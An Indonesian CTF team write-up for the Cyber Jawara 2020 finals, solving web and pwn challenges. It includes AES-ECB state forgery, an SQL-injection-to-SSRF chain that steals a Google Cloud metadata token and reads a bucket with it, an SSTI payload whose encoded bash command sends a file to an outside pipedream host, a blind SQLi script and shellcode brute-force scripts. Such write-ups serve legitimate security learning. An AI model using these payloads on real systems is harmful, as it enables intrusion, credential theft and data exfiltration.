You are on page 1of 24

Writeup Vtuber​SIMP​SHRIMP

Sauce : https://twitter.com/amsrntk3/status/1314221881352810497
Web

Toko Masker 4

Diberikan url soal dan file api.py . Berikut merupakan isinya :

api.py

from django.conf import settings


from django.core import serializers
from django.http import JsonResponse, HttpResponse
from .models import Item
from .helpers import encrypt, decrypt

import json

def get_item_list(request):
items = Item.objects.order_by('id')
items_json = serializers.serialize('json', items)
return HttpResponse(items_json, content_type='application/json')

def get_state(request):
json_data = json.loads(request.body)
selected_items = json_data['selectedItems']
total_price = 0
if len(selected_items) == 0:
return JsonResponse({'error' : 'No item selected'})
for selected_item in selected_items:
item = Item.objects.get(pk=selected_item['pk'])
selected_item['price'] = item.price
selected_item['image_path'] = item.image_path
selected_item['name'] = item.name
total_price += int(selected_item['price']) * abs(int(selected_item['quantity']))
json_data['totalPrice'] = total_price
state = encrypt(json.dumps(json_data))
return JsonResponse({'state' : state})

def get_selected_items(request):
json_data = json.loads(request.body)
state = json_data['state']
decrypted_state = decrypt(state)
return HttpResponse(decrypted_state, content_type='application/json')

def get_invoice(request):
json_data = json.loads(request.body)
state = json_data['state']
decrypted_state = decrypt(state)
json_temp = json.loads(decrypted_state)
if json_temp['totalPrice'] < 0:
return JsonResponse({'error' : 'Can\'t create invoice'})
json_temp['totalPrice'] = 0
for selected_item in json_temp['selectedItems']:
json_temp['totalPrice'] += int(selected_item['price']) *
abs(int(selected_item['quantity']))
json_temp['message'] = 'Your balance is not enough'
if json_temp['totalPrice'] <= settings.BALANCE:
satisfied = False
for selected_item in json_temp['selectedItems']:
if (int(selected_item['pk']) == settings.REQUIRED_ITEM) and
(int(selected_item['quantity']) >= settings.REQUIRED):
satisfied = True
json_temp['message'] = settings.FLAG
if not satisfied:
json_temp['message'] = 'Your balance is enough, but, no flag for you'
return HttpResponse(json.dumps(json_temp), content_type='application/json')

Tidak perlu dijelaskan detail lagi. Ini soal kembangan dari soal saat quals. Disini
vulnnya enkripsi menggunakan AES ECB dan kita dapat memanipulasi state. Berikut
payload awal state kami

DzSwymuO/1JuR59eHjOQKKVYxeQQWI8BTY2k/3Pw1PC/9HqEI0tSwvyR7jJbBYIw
WixKzHTUElqUjfPecnpnGF0k5zCYmqYBOziC6Cta6GVdJOcwmJqmATs4gugrWuhlX
STnMJiapgE7OILoK1roZXcjUvZCGN+G6nmCX1o9+FGXuW07Is6bshd8sLDRFaI5oF
8josKIjXorronDkxzqC2BD9SlW1jAJQyMwakQiSNZ1tJ29ozP+qASgyJsAqH5wFOfKp
OnWXDhCADrV+lIYyksaYoTyiveVOACxyLtJUe7EJyhGH4OlZIOaIyBnYuX/cpaA5sN6
VTyniqI8Ke5V1rLheEivtyWsQD8zAPrlm0DRzmZD1oYwvVYUBDLqHEDoT9IGfNcdp
RWWwLmHoJyEy0ZcGs5d0eCT5cMp16CK92G6cLpkrG38PzEEZmAod9xn

Lalu tinggal diganti blok-blok nya dengan blok-blok yang telah di susun :

State final menjadi :

DzSwymuO/1JuR59eHjOQKKVYxeQQWI8BTY2k/3Pw1PDEJyhGH4OlZIOaIyBnYuX/
WixKzHTUElqUjfPecnpnGF0k5zCYmqYBOziC6Cta6GVdJOcwmJqmATs4gugrWuhlX
STnMJiapgE7OILoK1roZbLheEivtyWsQD8zAPrlm0DRzmZD1oYwvVYUBDLqHEDoo
F8josKIjXorronDkxzqC2BD9SlW1jAJQyMwakQiSNZ1tJ29ozP+qASgyJsAqH5wFOfKp
OnWXDhCADrV+lIYyksaYoTyiveVOACxyLtJUe7EJyhGH4OlZIOaIyBnYuX/cpaA5sN6
VTyniqI8Ke5V1rLheEivtyWsQD8zAPrlm0DRzmZD1oYwvVYUBDLqHEDoT9IGfNcdp
RWWwLmHoJyEy0ZcGs5d0eCT5cMp16CK92G6cLpkrG38PzEEZmAod9xn

FLAG :
CJ2020{too_lazy_to_create_crypto_chall_so_I_just_use_web_chall_to_t35t_y0ur_
crypt0_5k1ll5___$%$%^^**}
CJ Travel

Diberikan url soal. Intinya dalam service kita dapat register/login serta melakukan
booking untuk penginapan/hotel. Setelah dilakukan testing, ditemukan bug SQL
Injection pada field email saat melakukan bookings. Output SQLI dapat dilihat pada pdf
yang di generate setelah booking. Contoh payload :

POST /hotels/2 HTTP/1.1


Host: cj-travel.web.cyber.jawara.systems
Connection: close
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://cj-travel.web.cyber.jawara.systems
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/83.0.4103.106 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.
8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://cj-travel.web.cyber.jawara.systems/hotels/2
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,id-ID;q=0.8,id;q=0.7
Cookie:
session=eyJ1c2VyIjp7ImlkIjo0NTV9fQ.X4sIMA.Ms0fq8W1FwPnRz6FCpmrc64l3p0

email=qqqw'/**/and/**/0/**/union/**/select/**/'test'/**/#@yera.ss&phone=08888888888
&guest=wwwwwwedasdadasd

Menjadi :
Setelah berjam2 kami mencoba berbagai query untuk mendapatkan flag di database.
Namun hasilnya nihil, untung saja panitia memberi hint bahwa flag berada pada google
cloud bucket. Aslinya, field email tidak di-render menjadi html, namun dengan SQLI, kita
bisa melakukan select terhadap payload HTML, kami menggunakan payload berikut
untuk mendapatkan token auth google :

qqqw'/**/and/**/0/**/union/**/select/**/'<link/**/rel="attachment"/**/href="http://metadat
a.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token"
>'/**/#@yera.ss

Setelah itu kita download hasil pdf generate dari booking diatas. Dan kita lihat object
embednya. Setelah itu kami ekstrak menggunakan tools pdf-parser :

ᕦ(ò_óˇ)ᕤ rafie [final/web/travel]


→ cat gggg.pdf | grep -a Embed -B 1

24 0 obj
<< /Type /EmbeddedFile /Length 25 0 R /Filter /FlateDecode /Params << /CheckSum
26 0 R /Size 27 0 R >> >>
--
/Outlines 21 0 R
/Names << /EmbeddedFiles 29 0 R >>
ᕦ(ò_óˇ)ᕤ rafie [final/web/travel]
→ ./pdf-parser.py -o 24 -f gggg.pdf
obj 24 0
Type: /EmbeddedFile
Referencing: 25 0 R, 26 0 R, 27 0 R
Contains stream

<<
/Type /EmbeddedFile
/Length 25 0 R
/Filter /FlateDecode
/Params
<<
/CheckSum 26 0 R
/Size 27 0 R
>>
>>

'{"access_token":"ya29.c.Kn3hB1jOmhu_CIznWdbPIyY01dgHhUFFn83UlajPa-GEnDk
jdxI_nJV8YrPRNCTulVEk26wQbvFOoNQ5IXZ7cBf39K9XP-CldhK5ls1l3vo54G2BKk9
yQ6KYPaAvl1B4sK2qpWpyb3UAW1BrRx1e1lYeC2TtmMEYC8I88z56fQ","expires_in
":2500,"token_type":"Bearer"}'

Setelah access_token didapatkan, karena flag berada pada bucket, kami melakukan
step-step ini sampai akhirnya flag didapatkan :

curl -X GET -H "Authorization:


ya29.c.Kn3hB1jOmhu_CIznWdbPIyY01dgHhUFFn83UlajPa-GEnDkjdxI_nJV8YrPRN
CTulVEk26wQbvFOoNQ5IXZ7cBf39K9XP-CldhK5ls1l3vo54G2BKk9yQ6KYPaAvl1B4
sK2qpWpyb3UAW1BrRx1e1lYeC2TtmMEYC8I88z56fQ" \
"https://cloudresourcemanager.googleapis.com/v1beta1/projects"

curl -X GET -H "Authorization: Bearer


ya29.c.Kn3hB1jOmhu_CIznWdbPIyY01dgHhUFFn83UlajPa-GEnDkjdxI_nJV8YrPRN
CTulVEk26wQbvFOoNQ5IXZ7cBf39K9XP-CldhK5ls1l3vo54G2BKk9yQ6KYPaAvl1B4
sK2qpWpyb3UAW1BrRx1e1lYeC2TtmMEYC8I88z56fQ" \
"https://storage.googleapis.com/storage/v1/b?project=34161129764"

curl -X GET -H "Authorization: Bearer


ya29.c.Kn3hB1jOmhu_CIznWdbPIyY01dgHhUFFn83UlajPa-GEnDkjdxI_nJV8YrPRN
CTulVEk26wQbvFOoNQ5IXZ7cBf39K9XP-CldhK5ls1l3vo54G2BKk9yQ6KYPaAvl1B4
sK2qpWpyb3UAW1BrRx1e1lYeC2TtmMEYC8I88z56fQ" \
"https://storage.googleapis.com/storage/v1/b/cjfinal9190"
ᕦ(ò_óˇ)ᕤ rafie [final/web/travel]
→ curl -X GET -H "Authorization: Bearer
ya29.c.Kn3hB1jOmhu_CIznWdbPIyY01dgHhUFFn83UlajPa-GEnDkjdxI_nJV8YrPRN
CTulVEk26wQbvFOoNQ5IXZ7cBf39K9XP-CldhK5ls1l3vo54G2BKk9yQ6KYPaAvl1B4
sK2qpWpyb3UAW1BrRx1e1lYeC2TtmMEYC8I88z56fQ" \
"https://storage.googleapis.com/storage/v1/b/cjfinal9190/o/flag-87f43b.txt?alt=media"
-o flags.txt
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 47 100 47 0 0 144 0 --:--:-- --:--:-- --:--:-- 144
ᕦ(ò_óˇ)ᕤ rafie [final/web/travel]
→ cat flags.txt
CJ2020{long_journey_of_pwning_th3_cl0ud_b34f5a}

FLAG : CJ2020{long_journey_of_pwning_th3_cl0ud_b34f5a}

WHO
Pada chal ini, kita harus mendaftar RSVP terlebih dahulu pada laman
https://who.web.cyber.jawara.systems/rsvpmaker/covid-19-who-webinar/

Setelah itu, terdapat sebuah cookie

Kita ganti saja valuenya jadi 1


Lalu reload halamannya dan didapatkan sebuah FLAG
FLAG: CJ2020{plz_5ubm1t_t0_CVE@}
COVID-19 Statistics

Terdapat sebuah file berformat ​.war


Kita dapat membukanya menggunakan aplikasi bernama ​jd-gui

Saat dibuka, ternyata webnya menggunakan ​velocity template engine​.


Lalu kita cek ​IndexServlet ​dan terdapat kode menarik
protected Template handleRequest(HttpServletRequest request,
HttpServletResponse response, Context ctx)
{
Template template = null;
​try
{
String uri =
(String)request.getAttribute(​"javax.servlet.forward.request_uri"​);

String decoded = URLDecoder.decode(uri,


StandardCharsets.UTF_8.toString()).replace(​"&"​, ​"&amp;"​).replace(​"<"​,
"&lt;"​).replace(​">"​, ​"&gt;"​).replace(​"\""​, ​"&quot;"​).replaceAll(​"\\$\\w+"​,
""​).replaceAll(​"\\#\\w+"​, ​""​);

String currentTemplate = String.format(this.templateString, new


Object[] { ​"#[["​ + decoded + ​"]]#"​ });
RuntimeServices runtimeServices =
RuntimeSingleton.getRuntimeServices();
SimpleNode node = runtimeServices.parse(currentTemplate, ​"404"​);

template = new Template();


template.setRuntimeServices(runtimeServices);
template.setData(node);
template.initDocument();
}
catch (Exception localException) {}
​return​ template;
}

Ternyata vuln nya ialah ​SSTI​, namun terdapat beberapa filter, sehingga kita harus melakukan
bypass pada filternya.
Berikut ini adalah payload yang kita gunakan untuk mendapatkan flag:
]]​# ${class.inspect('java.lang.Runtime').type.getRuntime().exec('bash -c
{echo,Y3VybCAtLWRhdGEgImE9JChjYXQgLzg4MjJkYzM0MjBlZTJhYzQyMmExMDFmOTdkMzkyN
jM3LnR4dAopIiBiNGI1Mzc2MGNkYmIyMWI2MjRhNGYzYWFhMjRkZGUwOC5tLnBpcGVkcmVhbS5u
ZXQ=}|{base64,-d}|{bash,-i}')} #[[

Hasil:

FLAG: CJ2020{congr4Tz_y0u_1nj3cteD_mY_t3mpL4te}
WHO 2

*) Solve saat freeeezeee time


Terdapat 0day exploit vuln berupa SQL Injection.
Jika kita lihat baris kode pada file ​rsvpmaker-api-endpoints.php ​kita akan mendapatkan
sebuah class bernama ​RSVPMaker_StripeSuccess_Controller​.

Pada method ​get_items ​terdapat sebuah baris kode yang melakukan eksekusi SQL tanpa
prepared statement maupun filter
$wpdb->query(​"UPDATE "​.$wpdb->prefix.​"rsvpmaker SET amountpaid='$paid' WHERE
id=$rsvp_id "​);

Lalu kita bisa merubah ​$rsvp_id ​dengan menginjeksikan sebuah payload pada ​rsvp_id​ form
data dikarenakan semua post request akan dimasukkan ke variabel ​$vars ​yang dimana
variabel ​$vars[‘rsvp_id’] ​tersebut akan dimasukkan ke variabel ​$rsvp_id​.

foreach($_POST ​as​ $name => $value)


$vars[$name] = $value;

$rsvp_id = $vars[​'rsvp_id'​];
$paid = $vars[​'amount'​];
Sehingga, kita akan memanipulasi query update tersebut untuk melakukan ​Blind Time Based
SQL Injection​.
Petama, kita akan mengetesnya menggunakan postman. (btw, quotenya difilter jadi harus pake
hex untuk masukin string)

Kalau sudah sukses, biar gak capek kita bikin otomatisasinya uwu.
from​ requests ​import​ *
import​ string
import​ time

url =
"https://who.web.cyber.jawara.systems/wp-json/rsvpmaker/v1/stripesuccess/16"

p1 = ​"9 or if ((SELECT substring(group_concat(COLUMN_NAME), {}, 1) from


information_schema.columns where table_name = 0x77705f7365637265746775657374) =
0x{}, SLEEP(5), 0)"

chara = string.ascii_lowercase + string.digits + ​"_,}{~$%^&*)(][!@?><"​ +


string.ascii_uppercase

## Get Columns
res = ​""
ctr = ​1
while​ ​True​:
​for​ i ​in​ chara:
data = {
​'rsvp_id'​: p1.format(ctr, i.encode(​'hex'​)),
​'amount'​: ​1
}
start = time.time()
r = post(url, data=data)
end = time.time()
​if​ (end - start) > ​4​:
res += i
ctr += ​1
​print​ ​'nice {}'​.format(res)
​break

p2 = ​"9 or if ((SELECT binary substring(group_concat(name), {}, 1) from


wp_secretguest) = 0x{}, SLEEP(2), 0)"

## Get FLAG
res = ​""
ctr = ​1
while​ ​True​:
​for​ i ​in​ chara:
data = {
​'rsvp_id'​: p2.format(ctr, i.encode(​'hex'​)),
​'amount'​: ​1
}
start = time.time()
r = post(url, data=data)
end = time.time()
​if​ (end - start) >= ​2​:
res += i
ctr += ​1
​print​ ​'nice {}'​.format(res)
​break
Fyi, ini scriptnya harus dirun berkali-kali karena servernya gak stabil .-.
Akhirnya dapet flag nice

FLAG: CJ2020{b4ny4k_BuG!}
Pwn

No syscall

Diberikan sebua alamat dan port service 1337.cyber.jawara.systems 2001. Service


tersebut akan memberikan alamat flag dan mengeksekusi shellcode yang diberikan.
Namun, sesuai judul dan deskripsi soal, semua syscall diblokir.

Kami menduga bahwa output informasi alamat flag berasal dari fungsi printf dan
address flag yang diberikan di bss. Kami lalu mencoba melakukan jump dari PLT printf
dengan argumen flag. Karena lokasi PLT printf tidak diketahui secara pasti, maka kami
melakukan brute force plt dengan script di bawah. Karena jarak antara bss dan bagian
code binary 0x3000 bytes, maka tiga nibble terakhir dari address flag dibuat 0 dan
ditambahkan untuk menyesuaikan address PLT

from​ pwn ​import​ *


context.arch = ​'amd64'

shell = ​"""
movabs rdi, ​{}
mov rax, rdi
sub rax, 0x3000
and rax, 0xfffffffffffff000
add rax, ​{}
jmp rax
"""

c = ​0x​0

while​ ​1​:
xx = ​1
​while​ xx:
​try​:
r = remote(​"1337.cyber.jawara.systems"​, ​2001​)

r.recvuntil(​"flag: "​)
flag_addr = ​int​(r.recvline()[:-​1​], ​16​)

​print​ ​hex​(flag_addr)
​print​ ​hex​(c)

s = asm(shell.format(​hex​(flag_addr), ​hex​(c)))
c += ​0x​10

r.sendlineafter(​": "​, s)
a = ​''
res = r.recv()
a = res
​print​ res
xx = ​0
​except​:
​pass
​finally​:
r.close()

Namun, setelah mencoba beberapa lama dan selalu gagal, kami memperhatikan
address flag lagi. Karena 3 nibble terakhir sangat besar (0x8c4), kami menduga bahwa
alamat tersebut adalah alamat heap. Jarak antara heap dan segment code pada binary
selalu berubah dan tidak dapat ditebak.

Kami lalu mencoba mencari alamat binary di dalam stack. Karena kami tidak bisa
melakukan leak, kami mencoba lompat ke alamat return address dengan opcode
“leave; ret” menggunakan script di bawah

1sv.py
from​ pwn ​import​ *
context.arch = ​'amd64'

shell = ​"""
leave
mov rax, QWORD PTR [rsp]
jmp rax
"""

while​ ​1​:
xx = ​1
​while​ xx:
​try​:
r = remote(​"1337.cyber.jawara.systems"​, ​2001​)

r.recvuntil(​"flag: "​)
flag_addr = ​int​(r.recvline()[:-​1​], ​16​)

​print​ ​hex​(flag_addr)
s = asm(shell)
r.sendlineafter(​": "​, s)
a = ​''
res = r.recv()
a = res
​print​ res
xx = ​0
​except​:
​pass
​finally​:
r.close()

Karena tidak ada output error segmentation fault atau illegal instruction, kami menduga
alamat di RAX sudah benar. Lalu sama sepeti cara sebelumnya, kami membuat 3
nibble terakhir di RAX menjadi 0 dan melakukan brute force menambahkan dengan nilai
0x10 untuk memanggil printf.

2sv.py
from​ pwn ​import​ *
context.arch = ​'amd64'

shell = ​"""
leave
movabs rdi, ​{}
mov rax, QWORD PTR [rsp]
and rax, 0xfffffffffffff000
add rax, ​{}
jmp rax
"""
c = ​0x​120

while​ ​1​:
xx = ​1
​while​ xx:
​try​:
r = remote(​"1337.cyber.jawara.systems"​, ​2001​)

r.recvuntil(​"flag: "​)
flag_addr = ​int​(r.recvline()[:-​1​], ​16​)

​print​ ​hex​(flag_addr)
​print​ ​hex​(c)

s = asm(shell.format(​hex​(flag_addr), ​hex​(c)))
c += ​0x​10

r.sendlineafter(​": "​, s)
a = ​''
res = r.recv()
a = res
​print​ res
xx = ​0
​except​:
​pass
​finally​:
r.close()

Menariknya, saat script diatas dijalankan, pada offset ke 0x1b0 dan 0x1f0 kami
mendapatkan output yang dapat dilihat pada gambar di bawah
Output tersebut sama seperti output libc saat di-run

Kami lalu mendownload libc dengan versi sesuai dengan output tersebut (Ubuntu
GLIBC 2.31-0ubuntu9.1) di libc.blukat.me. Saat libc tersebut dibuka dan dicari entry
point di gdb, offset address tersebut sama dengan offset brute force yang
mengeluarkan informasi libc (0x1f0)
Kami menduga bahwa address return yang sebelumnya kami kira address fungsi main
pada binary merupakan address __libc_start_main karena informasi symbol pada
address 0x55555557b000 merupakan __libc_start_main+64.

Karena informasi libc tersebut dikeluarkan dengan memakai fungsi write, kami
membuat shellcode yang akan lompat ke fungsi tersebut sehingga program akan
memanggil write(1, flag, 50). Berikut script yang kami gunakan

sv.py
from​ pwn ​import​ *
context.arch = ​'amd64'

shell = ​"""
leave
mov rax, QWORD PTR [rsp]
and rax, 0xfffffffffffff000
add rax, 0x20b
xor rdi, rdi
inc dil
movabs rsi, ​{}
xor rdx, rdx
mov dl, 50
call rax
"""

while​ ​1​:
xx = ​1
​while​ xx:
​try​:
r = remote(​"1337.cyber.jawara.systems"​, ​2001​)

r.recvuntil(​"flag: "​)
flag_addr = ​int​(r.recvline()[:-​1​], ​16​)

​print​ ​hex​(flag_addr)

s = asm(shell.format(​hex​(flag_addr)))

r.sendlineafter(​": "​, s)
a = ​''
res = r.recv()
a = res
​print​ res
xx = ​0
​except​:
​pass
​finally​:
r.close()

FLAG: CJ2020{~51d3#ch4NnEl~}

You might also like